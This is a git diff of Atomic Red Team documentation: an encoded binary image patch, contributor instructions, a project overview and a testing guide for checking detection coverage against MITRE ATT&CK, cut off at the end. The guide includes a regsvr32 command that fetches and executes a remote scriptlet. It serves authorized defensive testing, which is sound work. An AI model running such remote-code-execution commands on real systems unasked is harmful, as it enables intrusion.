zu#zakrKrpZF=XW$nTnbBbd8Bf<@%^6F`FOz`8J+NjE3ikm49){6GG_VvhwKPi3(LCa3)BfDv-Y%R)Q)Q=JReAmz z#dT8^83uodp{fdp#_Z%WJbd)#HGf13gY1{bOXLLwDc)`QdBZdrdYtda)Wy`7{H!yN zXuqSw0_tsC$E7=HALUlI&f?4?*-HfWv1Q7Troj1R&!{^zCk=Xw!1ifjNrmg>%y#JO zC>b`x*}D=G;(~$#fuU&^fN;hKXx}QFMjsMjsyq60EFF>hNQ`2*xcu%iid^G3_Dn(=_%-WqW1@;W<*z6F=}0+q$8*xs z^tbukzkDm+ff8rH!39~YIF%c<-%pxpV3^lE7t8uicK{bW2qL3&>OGdV%v+pbF2 z1(Ztu%bb$o08MT7V$M!%0nKAn;u`-(?0La2AuQo)Nu+?a__ffq!&tfSsU#gVArdMlE`+0NNc3#&aN{TL+Sj8ZudoSUG%K<+f_+zQ__dm}r zk~zfTE$(6dJX`)nL+MkGCt7Rse1@P%h$6&@oHv#kPai5MY!=~mU1z6QiJHLb zMt}L9M(zF%_AN4jY6*D`5_3<&XMW2N#?oE>&GwwUpz*DZ$i_2W z>+V6~jfa5kuvsVh*A&n(x>kB)B<`ml+R)tR+~DA<5gzDYmf>ugxwDn0VP!PWlIh*` zU0`2jdp^B+75<}X6(I@WuVwgwC#h}vwOo&&m3}u$lqiT8IBz|%04IxS;80P9oT%C5 zc)<1ZvFU9G`*ghE60KDsX^H>QB%=W33cUkUCsGw9zKOu4(#HxN{6blBwp^t=lc;Ov zoxh4YVp2x>3^5Ie2W(p9n$;JN>iiWrS5VjGP56-Az?)D*f3|4ECE*Exzg6O(Ol zSh2D7eM~9|0tx-0Nexx5K)3Q7hheK9QGgV$0pC%N-+R>Wiz_L^LO6;-wK~nPgKAGU zQ@U+P2mB8IQnecAp|^%#^uUmQ>bs?hVA%;?=NngoSo3xa4W;Et#1@wzdJW~`<5L$k zcEg5sV)uL2v1P{kZUq%0Rm`;~==aELKR`6WV4E9-`Fmy|HEFu5f`(jfVDkscyXuDf zeZLYE0x5_h$iMOlqh!ZO+I&P^1&1aoyRZK_W8%TJ5M{p8JgCiwci0*4W!SwnqVUT7 z&45mhP;BZ+EpN+oqt%`m?R)v-kmqMsqG6loGUnBBK$-1uAOIH9OL(IjCoEgWBY$NF zbzZP&j`K2n`sgElN;Zv=d=%tCw7xFa4PstuG3|>_vNg)MQUeFe$MMg8>2CsE+>IM(KmVsW$ zr#S;h2b-?RmXT81z1YV)Qsck!72XDj4KSfCVp61Dp*QfJUj&@p?vuJK_*DDnM|+rq z!5hw1JK-O@zR$Cc9++qT;2U7D4f0v$*`E^9q%r626<6qrAL!kgrSVe>G7&1SRwzb} zHMTN*3l0AL`jwy1n)=Vmkg;Wdb2hW5UXAq+$GVmq|JTIuf5{QcJpYSX&v2}`?`9_f z!}}WR)t?MvU~hZUySREV8*6V|wA#g&(`@c)66<<7tT>xTDxCXMAvLnoe%*`YRy-&h zo~;%GX*;Zx2a$<_(q?BOiNZUZkB6f^|IMDN3WQj;W_4bvMCEe-Bw_ZTYr7Zc zB>yNNvGZ>=NF~PE@^tmJT^sbn(yw{wod!kgZ#27IdLR1RWf@d-v>qBn5JfKd<2N@)_iLl&=~27>Kq+1Tgz~UXNEbvHc;~#}qWs zb_U>^1gr2NpjU0yiQn=P*o$&(Oo`gxb#}>$UFb0n42lq=h=aaPx7m#ycD#C+qeCmV zNI|f|>R3NiGC_B=(zbSCfPTk!%5Mjd zb8oX7xlQ$R>}pH1)b}PoxO&ObdN|v@jKAMiMbxw`%%vDj^UO4}H(?W#Syff_4)RDK zMR#r&~1r_b7@KBP^Z=jBiJS_ zTethk$UM&f;TsKVo0E~+d2TrxM@RCvv8UHd-9byas8}_oSF$u>0cRCm9LYzyY=wan z->RaPoP)J^GjDJ#VCQqG>-*ttW#p7>Z2En*+5Co&I(_cN$wU=2C8{6|?X}U%7&~W^ zoa7x|u)hbz3(D3}{waz;tXw#AF9f8OAEld2q!1XI6|68z|0BybO#Y8t$Zvr#aAL8k z9#f0W*tL^{*ZSi<+JLtX-Ptvt4qSZ)H+1y78iy_sHy`Ug_6#m^Z!R_aS-^Wb-jFU1 z!H@VuQdlTX;vM+U+$32J!&t>Z;pe={V9_3RaAYJDw3OssSwVI1!iM+}B8Y=v#Ch8u z=_ar2d4l7GdEN%Gr9WQseN~yPP``}OE$^o;CF7-VyqgyfKd@|f5M3gmRe}6fXWWyU zjyt14u~daC^Dx5@6c1mVEYq18Iapzh_YNh@vq2&bB7R^HG=H8|P^~d~lTBR!AXF<_ znly0%eCl#wdjY&DxT!aS%^@GaE-lq;czK@y^r1G2; zQ9@S?yjBIm%%10D5~--AZ|#irDlv`8g6I(eCy${Xs?_!6s>TJznc{;`Ss*~$tgF9$ zu9{eyml%mZhg^5#wrRghK3RUUkx$(RJCnY01wA84K3>5XxNa)TI9mDUmOOVeDfNja zYZY+OWJ%p@SJs&`m$c$d)G{mz`m|mx|N1x5bdlkY6EJ7KhlZtTR%}Hf*rVn3R8T=y z0kCJfDvrj?USPYcah9g5H>h!rd3Ow8QI*8sK{WY-{UO;gIh|lmHgijaHg4sN&xNT= z9+w@a+eLHpMVUylP1a)G@W;*CJx%F$P_TGK(ZmRmrzj`cR_UlHfz&fQ>$(%0I(LS!;-X$Xr~IuWG4J;=|m2=W4+^Ik2GhcuRLt1 z`-!RTE>l}VQZ#U*r(FQi4C7JTQ2SKsn~|$JIb41-+gnT|L?#`Ns2!4gq)<~KgH98pWBzlPDJb5F3=&i?tf}hH z`zGbdsHsfb&I>m9bKL*1%ShgDS5(TiB8HXx=m|g2A*EY`go-$#l-ZR}K`)h<_Z?V$3eWl)(~2CHtJ#>xpVEoB#+;$Ov;3XPujUS# zhMM}o7e@%c+FQ2G$L7ww?BMLE6D*=27JgLz9>?HCQUHEF`oaYV_7` zK)~zM^H4X7eI;o+0f(+wO!$(x^j7}okB;$ngY#nWW069jUm!MaCYuoA-K%>4@zxa3 zTU9Lo$-30)OA{>{KG&(K-_UaEH)^Er*B#u$RXKg<36@ol}R%Z*a^ zyN%4idB>B(iw>3bHI>+-fjVc0fXg=|2CWiy`;abLnCp#zvT=`ZNt1(P>12KH=+QsN z;~z)m2O_?_I6ew9tKjOL^nS``Z8*@vXZ+?MH~8R#%H(N7>Qq4#P%&u#P(-j&mAO5Uy7o+d}zuWLTLVoYghR5kwTZ@dBL zJ+oJZA`D*a?Pk=d9ef;%eJu`_ufz*Qp8c&7D_xJl0`?+*wnUt@Pjo)$f|qPFi-SM0 z-X9Wv@@~o%IIb^IjEx>(wB}2Zs?)nXXp(9J3Bt0nSYAn3WJ!Up6(`k>4E~s1-SfkW zxZYMs#7qk>%?Tm)y19(ID&m&boBf5OQ(T{D^236cILaedob2NoYSKWXwes@fvgp() zUcX+{B;7GB^8D!c4@3Dv+NqGk-&tnsm={^q5korbqw_*SvAyYPAV)fF+fw3X-Cg% zao_p#NVQR&(~@O;tmsKbuYa@jE4cJ>Yvgm4C=dNF=w6Bf?jLKMIPQwua+=6+zjkgl z(_QHip%2jm`9yld{89vJaTglq;@Oe}1RDr0RKi$UqsW zDXdt|k;Yyo(dhM40-pUEA{}Y2|9DpoDnRvzP+(cElVWP& zO%{UqZ=$nsh-*xSq5rT#B~7L{*(64dELKwgknu;`Dg$}+M_if4#p6G9$;67=w$rFk znqiPvz9iPkLD-z+#G6=7tFP{#zuV2~jOrWd!CTz#&RnlmE-k(02UZKNw02atDZ8ZL ziwE1x13*PI9V+msa7wPpan^jO^91AOIqN_?{D`xF256=nO8%(;b_@x~;kCB5&#Km2<3_z$>ijt6}#%Flf9BKOscEvD<#E z1UkP{Ko=w`aQHkHbN-C<-Y?zNFXD`HTHDkiOr-_zvm6avn8cJ6z4K$!>LA?U`@J2g zmY$w5PtgMTssj_?JJ@ta-B{UJjeNcaV~mTSDki$4c5O4lOE&ajM6c^UXjq#)1mhjo ze%s=6J6NEM>soROxFVp;k`zWw|9;HD3b_OPl}nyzJ`l0^t0sX#-H=}9 zFHNo;Xd-WLQYvZZ&0L58A?uTYl|AN*fg*CXdBL{}&V!d?%2JnyrtxKg7|`pl)*=r# zXfk~2V`yLo82PVG`QA|t>RNMO)L@h*6vA2jf5Qq-C5nyCu50?@SK`m|jOUEDDWvm; z@=@#{Qy`dNEL5>D(bYZQFFrd=PVnu%Nh--tp01E9z=+JW@YKLT@BNz(2xs50*Cr2g z?4rPN)NA5Jgp{~O=F%1*0mn?;4i!e{hOyC)e22qKFQWE3Z- zV;k>EF>D{BZGZ8J5jzO)iNo~_5*?6l#{HSxLw&o6^{$&vDXSc!&g+vIk+Zvte%7BL z-&$3axlX7Ns?Z{3;6k95;EDna=eN5wz}?pGtyhBO zNmrK-C@{n?s9ZA97&l0i-1ZvaFddBNbj|JxR5=~IdJdbaN!jtUH{29Z{js3tv^M6fNUA)wHg+T^I?S=T2TrT2OW(h*xw$j3Lmtw%k2O5QxD z(VqF^87D-w^$kHCL(i+{p=ttNTt#D)RpdM~8V-9NU zv<_9Z-wGY4kJS}GT1PMMIY2n5ct8G)&pT=uPIf7@XpQ0AcEJ4!a!}PfCkiUE{&w+R zeZ8hCU3wIjsJ$%(rz8|&&u^3ep6D$%GG4J~DV6Clz1+-lLC2K+aW~`Z>qN^w&~ZM^ zHep@uuZQ@%9Uq~!Dv&z$=67}VH!96zU9L?8Sn>;_2X9qUcuu(CT`c|p##}!ksxBb| z+`@c&p7H*H!5OR$HoNf&0CbdDb@)wa!ZSeU*gLMiZP;O2YrH&|uu3;tAcT(}765Hn zTrF-(l@C52&Vqha^XU^C6*+I2*%lUF@uum1Z-?uS+L5b@jY4x~to{yxuFv;6W*w~i zKf>3hvW>hb!HNlKOM znc7SZj!yH_R(pn^T?HCni+L5I)WJO3U;R^4b0(P91_P_mIi6KYm*m+eAos}!>Z!L3 zh&8ZSTHM@4ici#Uf~7-usWQ)!OpX{4pQ?T10hd-Jpdj5!#!=co{T8^cu%~0~wPeI6 z;|)r5yFgM|mBv7Shu9rDfCA{=3h%zqw&XpQDf<~wHCF54le4Nr_~Tpy06kVW(F<41 zKYaau8%BM+ISUz)o)U;U*l%{`zKAJvODLCY>#SPJqeSFJdyX{%FY;PSNL86DRIF#i zp6s-1KrJI`QT`w%#q*Q~`T*x`mA<2J`$LsrM*wQpa$oNHPtxZ$wi=Ei|9y0q7u3$2 z=%9_D{^0wQccDjj-s=O^`h~?9`a02!GF^YibKa~g`>j?_w0sPC=lGh%bE^7geR@{v zaDZCdLiX&Z7YG&o>Q{@6-2%^$8gv>2dKPP39pgGQhq#kGK4$`m*rd+`kCGM)4~feN zt-q>Ql^8~=aj76^yQk`=B0_8C`)^OODBNg>K^XCSsq2Bx*I}5vG{*^?oXa(oZYN*O z=klGD{*EqqZj|7`84m$r?nGb3;pO_fGQ zMol8~E^+yKcaSLn*NjfQ^P_jAuGoI@KQSu)JGsIs?8}dGIT=8Awtni6 zsqy0`fmc)2Biw)r*`!XSC9NPan1+&wJW)1G^`@b-ryCIMjF@3Zlaj1$`9|I0Cb7)t ziZu4>RHnQ8Ch`F~vw+TS+fn{{>_K#byi32L-HY} zhoQ~I%M-ymc;s;M1FU_04EO#T-_X03#uLq>t{<->^A_^bkk4)KEnX4nXAHfeyK~&L z0F4cui0sq%kFy0vtH|u~LECMDA$fB5?VfkOrPid4RjRqG|LOW%L5|$eDT6voOp*E z>Gn=Hp_=AtI`=~orMxhxV~T3j#Kn@1_h5mC*M~PROib)JG7|}X)*~u)w~eI6UE3vz zhc58=`_oHtB18Ais>Y1usn8jbHb-daM-^Jp@a}W6_aA{LLU%}NVrRkIpG`u(1!)z{ z*h&&;2+Kcb++HZ*xm5hF2!)%pJ&Ut!B<(fDl|&Eck-sH(7TKdBFumcCQ|q`VV|%K) zu>LJCDVL5_PfFPEJ(|qwvB<{!O|tJR2c~YRt7O+v|3X&dpx3lHdmrzD9s0*p*!qf8 z#MLscGtAx%1MyL$F!>=(NZ|D6^{f7T*p;`}#XS95Uy|M0Ed7BAw#BIVru}%LU9sqZ zYi;~-8wY5l!wj`lBJkGaiuTVP^(JMAFrD3p*?Sf#9+bl}k8ZxE{lx#3yBr99(E< zrDUFdn>tkPV+{vwCLh0YKhdE*X0)eR=64s)VOzP&+pfHA@3&%Bf?${nbEPA2p!{d8 zHbbmY2q*?2J|H9r3?fu?6L_oqYg<1bpme=7zvo{BUy*sL-p~s)(_*}#TUrY+mcp1F zWiU(%#JCFAt3&Cx867x7>hU>-D@qHj?$Imh_;9(?cL19VbuszZnQl%`+C4GrUq`42 zrnXOF1>8y!Tdw;LQd%yG4pK-rN|oY1T4uw_L1#$^iB=lwiTa>>B-phEyZBH%b2g`4 zspwMpJ29fKA9j>!7}wt;BC%sq5|6?SyZxV*t^kxo&D1p#n?tLVg`TIA&234{&KBfl z`0bp$Fe4hBiN0B(et{Nk5oJ^~`^LyPm)%&kK~jCAa&2?85Ns8`%J=o6FTytjj2oDB zoY+yDIkFIua-!-JyC>2HNoetqIu`5B^5CgW@Ak)ThNSr&TXc z_}4}N!_wDA8#0sGf4YC#FDav+QU!*cu}A@BUf0xgT|G6Cv7~Q@a;Yg_Xv?ldlPIN5 zjJM1J9Pc%HJ`}=}L=P>hB)+-~?fVDdih`cFH#h1Ht>klnSK!_6KeR1)cFt|%Vc+M` zg)0NCMM{0E3A&Av<27#tLVOsNdNhS5cWWb84`Q}w*)sWmr4eG6xA2JZ1ywV?}P9i$8RNB}LL&?5DfV zr$?f87%rz&!0|1Ka)azPtLKC>>8?RGN8hIQl-ABH!Aek_t_1A6w1P?O*_p%9u=70W zy6cL~>+JNs^#XpgNE!YMH5k02@R$YV2$%M|gYfnp8iozZ5%?xt5Txzq!h=6@(W-du z#sWj<%uBe&ZwzW#-YreP99`ZNFR+IYY^XBsnraBvphIJK3$nc9+;*HVj8cKF8kwIG zZU&Cu=bjRSB>urYcOd%@gIDd$oEA z(?-EITu%0%3EcFimD9buJiR#E`vppCaS`s=mYPmx`e`3 z54bx->l^0~o??rwEq!ees?BL{jAeXD>A@b~(b_>n;`DC3boQv`=w1T1e@$&* z_VL1Ca3_%?$@;?Ul|{?$bX{LwEdG|zqJfF4RNx)srT0#jMeG-+-zN zHp6}Z?WjhRF}D0+DHNHsYRtZ~ovvWJgFw2U`+Z6E6}P2Y3bGQ>i=6gRhXPGB8mFX9 zNs^`PQ-6cs+^6v4iKP*$oUmK@((c!1TxE56DZ2JI5VMQ1r*ag0idLBTJ0u zbpW1rtpe-pugI2EF^A=f*0uRwvO=G^$;D4)y>=FeEf^0H7s9+04}S~#oT{azGZZgb z7FmtV-PVN`fgLrj7FWFbSf*TV(zOuJJTf2dR~Ns(Pq+io3sN3zUnmvTFP5If%?48E zO4KI0CnU7Dh^$fPF8aANpcPFQqX;H4p1amIq!y!cTN;EQvFGZp^_d(~6XWrhtN2!p zcwgN>&f`Cq(Xph-29>%c1mt=AaP&^ywcXNNTLCF8^awBMXz^OPG^%<>T|EpvUE=S% zyylFs^GQ57^IH9zsMPTuQ2$T6#v+^1$vwO!{cKwB$@e|FkrAw3AFh-Vpn>G&o zXjvLXMX(pB&^}oOS-;z<`VlF-An$zH@VDUOdHv9I=fm3@{$ zIMu4KcGJGM{HI!kQ1qr|&WCaj@N&+B7CkvNwMzP2=SJ=ANq4ty!5pnac8s0fFgc)M zhRu%CY}CGBL<2w8EIN=8|Jw%0kuo=`0U$}~Z)MzepM>?WE=OdnjqJJ^da;#w3lmaU z!!+n_=egxzBBAz7VMzXZj^z(0vB z=DWS+NR6`X0e7ENeyTh9=PIn{u&zOF(@>Vwa<(kwJLpIGLe@vwq^AZxHfg$Tu}aom zg_?fF;JhAJ)(^JrYmzr(BJXOCY-=M=B_I=fmJmJHF?{lw$2-DiTPYFgapBC%>frQX zpBFAlzhkiv9!!8$8!Dgd6+nfEh2^4XJt6NK-0{0gEqBIt%u8;b5yn^W@!;jq2Ds*|*slY~vDMZOY0kOqIP}~uz|cc4@pFNV zGYB-1vAeyDZwJDjDSgOo)y~{x9@38fy$}c*yv@U$#@;yB*Em%h=^63pB6yN&VMkMX z2=D%#N;wPX3kH)w2sa}%W=jr~@J-G0b8WMPeO|pQI``(MvC=G6mtno%A7n>r+Mx}G zpIm~4{x11W(FK#_ zaoo-r3YTd1J6Z*!cQ9ORbx>%A4(6VgQHHV?@@ zD#UBKgxey1E11{kf8G$H-t&TeYv=0>`dY5gQoq5Zp`p!RJ(GSNLGXCd{(9H<7MAg4 z^-#h-4#|Y6Tjpm zHzII`fnQ4!y79n$qc%uFp8qsZ`eLQRX{r5aXx`LoTCpO9pHbmVIdO7utteBXKbs~2|6ny>^%-G#`Z1q!_{hH}zsgHea-zmljBGKfN zx&P}1w|KHJ=?^4r?j9n%Fj7BO(M5N|ohcIk?XR3oelON?8rFU1uZMH(MV zII{shmmVxXdwYC*cpd2E^UaT>()+f0tpMY7b@`@FvPVj(b-yw`_O#lxT-iE>7xYIB zp4nM8Vfa&1ZL%k)5xC6xu)XU@5I~_bd3YrQWo&ES-N~QjoWH>9H+BVzT~&FlEGNj5 z0=m3C59!|Y)Iwj^@yyKOUqg>r@mD<;Ols)$mrF@h7^x$$*JVj;e;3sfgo5`GU!-x+ z3>{qt=U4%pi`~+)&juOQX{RXBF-#6wE4gL+)?WMXqzq3M5cZ-2caLWpeiw*}lD6UA zoL&q(RbIz9g|hbq6(QZo<~kjXV#l#q-!>u_>B+Opy#(IHF@{SO8yLX91=woU+Z>dkV2_Q6xV8S|+3zc8&oY8~!VqNeVjqjns}_?ab?`+a(L z5LnQ^*yBdq)j!R|YZ7ZP{xlXjx6^Oo>K^X3@eiO&MAd5NzUz3aprr774R~tTu>a7IelS;R^?ICxe19#&d-^n#pP9E<)!dzhRn zFtd|F(B#8!D;B;k@!y(qE!+wbkIw`Sno~S~n_sIKO(iHFJDcFEwm{KSr?1v8#*!1d zRsTQTivJ#EVG8J$ml>HhyJsW#Un!aahWA+*Sh0P7+-SGyUf#?&;uW9#a$P2dsxaBF zQG@X=wArcLEA3Fl&H9v-a>HNONdIl+^TFmVLH<$Q=Idz3??pUmf=U5oFSB)$Q zO1h?pJ{(FckHZTJf2+aS;6jx8KUwK&(n?@tw-_^dAlKeX`o?HZ^k&9$H516iXv%O> zI3`YT7R@rgGO}9Ym#l+Ue$sp0$LCj@DRtKA688;Gy}sTr&OE=dfgq3ftmNiFi~wJ_ ziRO53*>#iGpH$=ee^m~%jx%x(OM2FX5W#8bxh0AA_6UI`G0?<+ts?t!|5>y?;eQhz z(G0o+w{9@VFQ_GW^S4(}utuk}`0*z!pM|$C!@)n$gsnZ^g={-HYSU1Ss3gfb3tQ74 z_PcJ$0*{O2c-jQp);4V0<+PNjQT!nx{pZsnOTT}T#h)bUx6KT~Ww}L!bu`pslHl=wJ5`j^Ul>#mxMmQz8>%p{$s%Z$#_uXN0bMPaaK@5EB2zF>c9W|!m~EXTRHyH~rN zR`+Hc*7mf??tnIj19_nSiM?F&i8drz$?Wb7wo`6pZI^%Way`YaEq07UFN zI|Hchy-~Da)swxgEvt{=Xl8-cN>?+km2%9(ei|K3>Y_ zf|C~sA(SLK+kpxxl;nE%JN64UaHY>8nXh?syRxLxm*Y+2HN?-8(>10?&e%nX@(%-^jCy#Jds05!eO@^X{6 zB%pV6rqLJ-^-t6?&3_yly%K&8K|#|XHLO?~Qwl~x)RJ=GBS&ipSb|m-qlL94od{9y zsRE5=v2~1~N#b)!0t$=oMJ>pqYRBXaok>+sATx(R6v-3PV>(Vb8W|scZcolTVtw%# zqo?O;Pd8;+$w!<;mv${RB;`0(N=Bvqe}w#)--$|TqXK*lIcx|#Y?E3M(hsrRK9*s+ z=h>lKFm&7BFHJCpX=k8|gp_!Zr`q#-RMg|-96AvJa9NC9O?O)3!$YUpNF{_-9|N=J z^nZOR1J_*zv+f9V!oQ*Tzkl9;z53eVUPM<+a;??BpXC2zqd67d0uLjXzb5bhY50G6 ze$o072c3ig3a6#+bo&n4^s10ej5jP{=s`G2zXe@^7TI6nVlP5qsm~23B2CQb$%~xg^UboH|W%^?F{pv9GUh z()G#r=1E<=F_|s#7p|HZ+wcNNtsOthJg$opzjj`_dNtB&_q;t_?>+~-h+9lref{C4 zQh;gDT-l|cIYeUb&R^@j-#za_SLpWa>Ysc675B^jjlx%*VM%ibf;|%Al}knPwgO!j z;ZU+@(e2xZA4|;t{^`D-vRts!H<7S{%{ut9GAv#YHHAREV0zTgevTg5KZ3ni0(1OZ zGjtTR`2J;9%XAl|a7l?Mm!b9dA6FzZ=guZA{1h6O z&u|d!ep@ZEns000gD7BZM$C3?JtAM-b?lZ$&2(I`hdn*cOJZ_=Yxnx4aIdCVb=T_c zktFKp6Sm0myb`P~mCbCO74Y`+FOu7fnQ9k)nxx;`Lu%7@!hyqrz$2sz_S}gkIl=e> z8}PxgHED6A>ZHKR1-}d4nVXpbj~jpYaQ$CW-Q2)3&xvXF?AhC&{^GlMW2yIaFL(Fj zxz<11NlZM9oHlb=zJ2?aclw9yqK$6~Dwf~w`@m0X4@jsYi?hUTtEKs4Qp*sP4;O$P z3tJN-e#}gVrzrwV)E~ZpP7M1pZLTGWNt7ZhUjR?3t*k1}KZku{0DGnai#}M$QF89w rIkDDc{-bB+lB(TiDofPbu%G`KpB!%KyQ~z-&j19Tu6{1-oD!M<9fjw; literal 0 HcmV?d00001 diff --git a/CONTRIBUTING.md b/docs/contributing.md similarity index 72% rename from CONTRIBUTING.md rename to docs/contributing.md index 2d3220cf..7e9c2ab5 100644 --- a/CONTRIBUTING.md +++ b/docs/contributing.md @@ -1,37 +1,45 @@ -# How to contribute to Atomic Red Team +--- +layout: default +--- + +# Contributing to Atomic Red Team *NOTE: We have sweet stickers for people who contribute; if you’re interested send a message to gear@redcanary.com with your mailing address* - [Atomic Philosophy](#atomic-philosophy) - [How to contribute](#how-to-contribute) - [Atomic Test structure](#atomic-test-structure) -- [Generating Atomic docs yourself (optional)](#generating-atomic-docs-yourself--optional-) +- [Generating Atomic docs yourself (optional)](#generating-atomic-docs-yourself-optional) ## Atomic Philosophy -Atomic Red Team welcomes all types of contributions as long as it is mapped to [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page). A few guidelines: +Atomic Red Team welcomes all types of contributions as long as it is mapped to +[MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page). A few guidelines: -- Tests are made to be "easy". If your Atomic Test is complicated and requires multiple external utilities/packages/Kali, we may ask that you simplify it. +- Tests are made to be "easy". If your Atomic Test is complicated and requires multiple external utilities/packages/Kali, + we may ask that you simplify it. -- TEST YOUR ATOMIC TEST! Be sure to run it from a few OSes/platforms before submitting a pull request to ensure everything is working correctly. +- TEST YOUR ATOMIC TEST! Be sure to run it from a few OSes/platforms before submitting a pull request to ensure + everything is working correctly. - If sourcing from another tool/product (ex. generated command), be sure to cite it in the test's description. ## How to contribute -Fork the atomic-red-team repository in Github, then checkout the repository and make a branch for your new test: -``` -Fork on Github - +### Fork +[Fork the atomic-red-team repository in Github](https://github.com/redcanaryco/atomic-red-team/fork), then checkout +the repository and make a branch for your new test: +```bash git clone git@github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team cd atomic-red-team git checkout -b t1234-something-describing-your-test ``` +### Add Atomic Test Pick the technique you want to add a test for (ie, T1234) and run the generator. This makes a new test for the technique with a bunch of TODOs you'll fill in and opens up your editor so you can get to work. -``` +```bash bin/new-atomic.rb T1234 ``` @@ -39,23 +47,26 @@ bin/new-atomic.rb T1234 Fill in the TODOs with the information for your test. See the [Atomic Test structure](#atomic-test-structure) section below. +### Validate Validate that your Atomic Test is up to spec! -``` +```bash bin/validate-atomics.rb ``` > Don't have Ruby? The automated build system will validate the techniques on your branch as soon as you commit to your branch and push to your fork. +### Push it Submit a Pull Request once your test is complete and everything validates. -``` -git add atomics/t1234 +```bash +git add atomics/T1234 git commit -m "Add test for T1234 that does XYZ" git push -u origin $(git branch |grep '*'|cut -f2 -d' ') - -Go to github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team and follow the instructions to create a new Pull Request. ``` +Go to github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team and follow the +instructions to create a new Pull Request. + ## Atomic Test structure This spec describes the format of Atomic Red Team atomic tests that are defined in YAML format. @@ -67,8 +78,8 @@ generated via `bin/generate-atomic-docs.rb` and `atomic_red_team/atomic_doc_temp The directory structure is: - Tests reside in the `atomics` directory -- One directory per ATT&CK technique, named as `t1234` -- All the atomic tests for a technique in a file named `t1234.yaml` inside that directory +- One directory per ATT&CK technique, named as `T1234` +- All the atomic tests for a technique in a file named `T1234.yaml` inside that directory - Any payloads, supporting materials, etc for the atomic tests also live in that directory For example: @@ -76,10 +87,9 @@ For example: ``` atomic_red_team/ atomic_red_team/atomics -atomic_red_team/atomics/t1234 -atomic_red_team/atomics/t1234/t1234.yaml <-- this is where all the atomic tests for a technique live -atomic_red_team/atomics/t1234/payload1.sct <-- a payload file needed by one of the T1234 atomics -atomic_red_team/atomics/t1234/payload2.dll <-- another payload file needed by one of the T1234 atomics +atomic_red_team/atomics/T1234 +atomic_red_team/atomics/T1234/T1234.yaml <-- where all the atomic tests for a technique live +atomic_red_team/atomics/T1234/payload1.sct <-- payload file needed by one of the T1234 atomics ``` In general, a set of atomic tests for a technique should never depend on payloads @@ -94,5 +104,4 @@ you can generate the Atomic Docs yourself: bin/generate-atomic-docs.rb ``` -The CircleCI build will automatically generate docs for your and commit them to your -pull request to ensure they are updated before being merged into master. +The CircleCI build will automatically generate docs and commit them to master when your pull request is merged. diff --git a/docs/index.md b/docs/index.md index d7c51d9d..11cffdf0 100644 --- a/docs/index.md +++ b/docs/index.md @@ -1 +1,49 @@ -# This is a temporary file +--- +layout: default +--- + +# Using Atomic Red Team to test your security + +Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test +is designed to map back to a particular tactic. This gives defenders a highly actionable way to immediately start +testing their defenses against a broad spectrum of attacks. + +![Markdown example](assets/images/technique-md-example.png) + +# A quick history + +We initially created Atomic Red Team as a way to test Red Canary’s detection coverage against the best adversary +tactic/technique taxonomy, Mitre's ATT&CK. Our Detection Engineering team had a well baked unit testing process but +wanted to add "functional testing". Atomic Red Team was born. + +We soon realized that we could help teams use the same approach to evaluate Red Canary and other detection and +response products to assess their coverage. The standard testing method of using malware samples from VirusTotal or +other malware sharing sites was an exceptionally poor representation of a real-world adversary. And you simply +couldn't trust most vendors to give you unbiased samples. + +With these principles in mind, we publicly launched Atomic Red Team. The response we received was, honestly, a bit +overwhelming and showed us that there was a massive need in the community for this type of project. We are +especially grateful to the MITRE ATT&CK team, whose great work has given us a great taxonomy to work within. + +# Key Beliefs + +## Teams need to be able to test everything from specific technical controls to outcomes. +Security teams do not want to operate with a "hopes and prayers" attitude toward detection. We need to know +what our controls and program can detect, and what theyit cannot. We don’t have to detect every adversary, but we do +need to believe in knowing our blind spots. + +## We should be able to run a test in less than five minutes. +Most security tests and automation tools take a tremendous amount of time to install, configure, and execute. We +coined the term “atomic tests” because we felt there was a simple way to decompose tests so most could be run +in a few minutes. + +**The best test is the one you actually run.** + +## We need to keep learning how adversaries are operating. +Most security teams don’t have the benefit of seeing a wide variety of adversary types and techniques crossing +their networks every day. Even at Red Canary we only come across a fraction of the possible techniques being +used, which makes the community working together essential to making us all better. + +![Markdown example](assets/images/list-of-tests.png) + +### Ready to start testing? [Get started!](/testing) \ No newline at end of file diff --git a/docs/testing.md b/docs/testing.md new file mode 100644 index 00000000..06bca339 --- /dev/null +++ b/docs/testing.md @@ -0,0 +1,86 @@ +--- +layout: default +--- + +# Getting Started Testing with Atomic Tests + + + +We suggest a phased approach to running a test and evaluating your results: + +1. [Select a test](#pick-a-test) +2. [Execute Test](#execute-test) +3. [Collect Evidence](#collect-evidence) +4. [Develop Detection](#develop-detection) +5. [Measure Progress](#measure-progress) + +## Best Practices + +* Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision +and can potentially be a resume-generating event. + +* Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR +solution in place, and that the endpoint is checking in and active. + +* Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to +execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go. + +## Select a test +Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific +matrices linking to Atomic Tests can be found here: + +- [Complete list of Atomic Tests](atomics/index.md) +- [Atomic Tests per the ATT&CK Matrix](atomics/matrix.md) +- Windows [Tests](atomics/windows-index.md) and [Matrix](atomics/windows-matrix.md) +- macOS [Tests](atomics/macos-index.md) and [Matrix](atomics/macos-matrix.md) +- Linux [Tests](atomics/linux-index.md) and [Matrix](atomics/linux-matrix.md) + +## Execute Test + +In this example we will use Technique `T1117 "Regsvr32"` and Atomic Test `"Regsvr32 remote COM scriptlet execution"`. This particular +test is fairly easy to exercise since the tool is on all Windows workstations by default. + +The details of this test, [which are located here](atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution), +describe how you can test your detection by simply running the below command: + +``` +regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll +``` + +## Collect Evidence + +What does your security solution observe? +- You may see a file modification in the user’s profile. +- You may detect network connections made by regsvr32.exe to an external IP. +- There may be an entry in the proxy logs. +- You may observe the scrobj.dll loading on Windows. +- Or you might not observe any behavior on the endpoint or network. + +This is why we test! We want to identify visibility gaps and determine where we need to make improvements. + +![RC Timeline](https://www.redcanary.com/wp-content/uploads/image9-1.png) + +![Cb example 